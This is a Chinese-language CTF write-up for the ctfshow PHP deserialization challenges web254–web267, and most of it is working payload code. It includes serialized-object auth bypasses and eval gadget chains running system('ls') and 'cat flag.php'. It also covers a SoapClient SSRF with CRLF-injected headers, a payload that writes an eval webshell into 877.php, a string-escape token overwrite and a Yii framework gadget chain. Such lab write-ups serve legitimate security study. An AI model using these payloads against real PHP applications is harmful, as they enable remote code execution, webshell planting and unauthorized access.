web254

?username=xxxxxx&password=xxxxxx

最简单的读读码

web255

1
2
3
4
5
6
7
8
9
10
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //接受了一个序列化对象
if($user->login($username,$password)){ //对其属性进行操作
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

可以看到$user是反序列化了一个用户在Cookie输入的序列化后的类,因为原来的类是public的,所以选择直接构造符合条件的属性。

1
2
3
4
5
6
7
8
9
10
<?php
class ctfShowUser{
public $username='xxxxxx';//有无均可
public $password='xxxxxx';//有无均可
public $isVip=true;
}
$obj = new ctfShowUser();
$s = serialize($obj);
echo urlencode($s);
?>

payload:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

1
2
3
4
5
6
7
8
9
10
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这次要求username!==passord,用上次的payload显然不行。但是要知道,我们可以直接控制我们输入的类,可以与代码中定义的不同。因此我们直接定义用户名和密码不同的类,再传参:

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfShowUser{
public $username='aaa';
public $password='xxxxxx';
public $isVip=true;
}
$obj = new ctfShowUser();
$s = serialize($obj);
echo urlencode($s);

?>

?username=aaa&password=xxxxxx

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
//无用类
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
//我们要利用的类
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

我们要利用后门类,就可以通过更改public方法来直接使得在构造类的时候就直接将$this->class定义为后门类,这样就可以再设定后门类,将定义好的后门类也直接序列化。

下面是payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code="highlight_file('flag.php');";
public function getInfo(){
eval($this->code);
}
}
$obj = new ctfShowUser();
$s = serialize($obj);
echo urlencode($s);
?>

?username=aaa&password=xxxxxx

web258

需要绕过O:数字 或者 C:数字 的正则匹配,用+绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('ls');";
}
$obj = new ctfShowUser();
$s = serialize($obj);
$s=str_replace('O:','O:+',$s);
$s=str_replace('C:','C:+',$s);
echo urlencode($s);
?>

理论可行,但是在buu的环境下并未尝试成功

web259

给了flag.php中的一节源码

1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

index.php中只有短短的两行

1
2
3
4
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();

而且我们并不知道任何的类方法,我们在这里复习一下魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct() //对象被创建时触发

因此在调用对象中不可访问的方法时,会调用__call方法。

例如我们在本地监听9999端口,构造一个不存在的方法然后访问9999端口便会有如下的监听结果

1
2
3
4
<?php
$ua="aaa";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>"http://127.0.0.1:9999/flag",'user_agent'=>$ua));
$client->getFlag();

web259

因此我们注入user-agent,修改Content-Type:

  1. text开头
    1. text/html: HTML格式
    2. text/plain:纯文本格式
    3. text/xml: XML格式
  2. 图片格式
    1. image/gif :gif 图片格式
    2. image/jpeg :jpg 图片格式
    3. image/png:png 图片格式
  3. application开头
    1. application/xhtml+xml:XHTML 格式
    2. application/xml:XML 数据格式
    3. application/atom+xml:Atom XML 聚合格式
    4. application/json:JSON 数据格式
    5. application/pdf:pdf 格式
    6. application/msword:Word 文档格式
    7. application/octet-stream:二进制流数据(如常见的文件下载)
    8. application/x-www-form-urlencoded:表单发送默认格式
  4. 媒体文件
    1. audio/x-wav:wav文件
    2. audio/x-ms-wma:w文件
    3. audio/mp3:mp3文件
    4. video/x-ms-wmv:wmv文件
    5. video/mpeg4:mp4文件
    6. video/avi:avi文件

构造出的payload:

1
2
3
4
5
6
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
//$client->getFlag();

echo urlencode(serialize($client));

web261

读源码构造code满足弱类型比较将字符串写入877.php(0x36d就是877)

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u='',$p=''){
$this->username="877.php";
$this->password='<?=eval($_GET["zzz"]);';
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

web262

字符串逃逸,要抛弃多少字符就写多少个f*ck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a=new message("a","b",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";');
echo serialize($a);
$umsg = str_replace('fuck', 'loveU', serialize($a));


//echo serialize($umsg);

//s:271:"O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:145:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";";s:5:"token";s:5:"admin";}";

payload:?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";

web263

1
2
3
4
5
6
7
8
<?php
class User{
public $username = '1.php';
public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(urlencode(base64_encode('|'.serialize($user))));
?>

利用php解析差异构造反序列化,从而使得该对象执行__destruct()

web265

借用php的引用

1
2
3
4
5
6
7
8
<?php
class ctfshowAdmin{
public $token;
public $password = ["sss"];
}
$a = new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);

web266

因为是伪协议直接读取,所以直接将序列化的类传入即可触发__destruct()

因为有过滤但是大小写不敏感所以将类名更改为ctFshow

1
2
3
4
5
6
<?php
class ctFshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
echo serialize(new ctFshow())

web267

yii框架漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>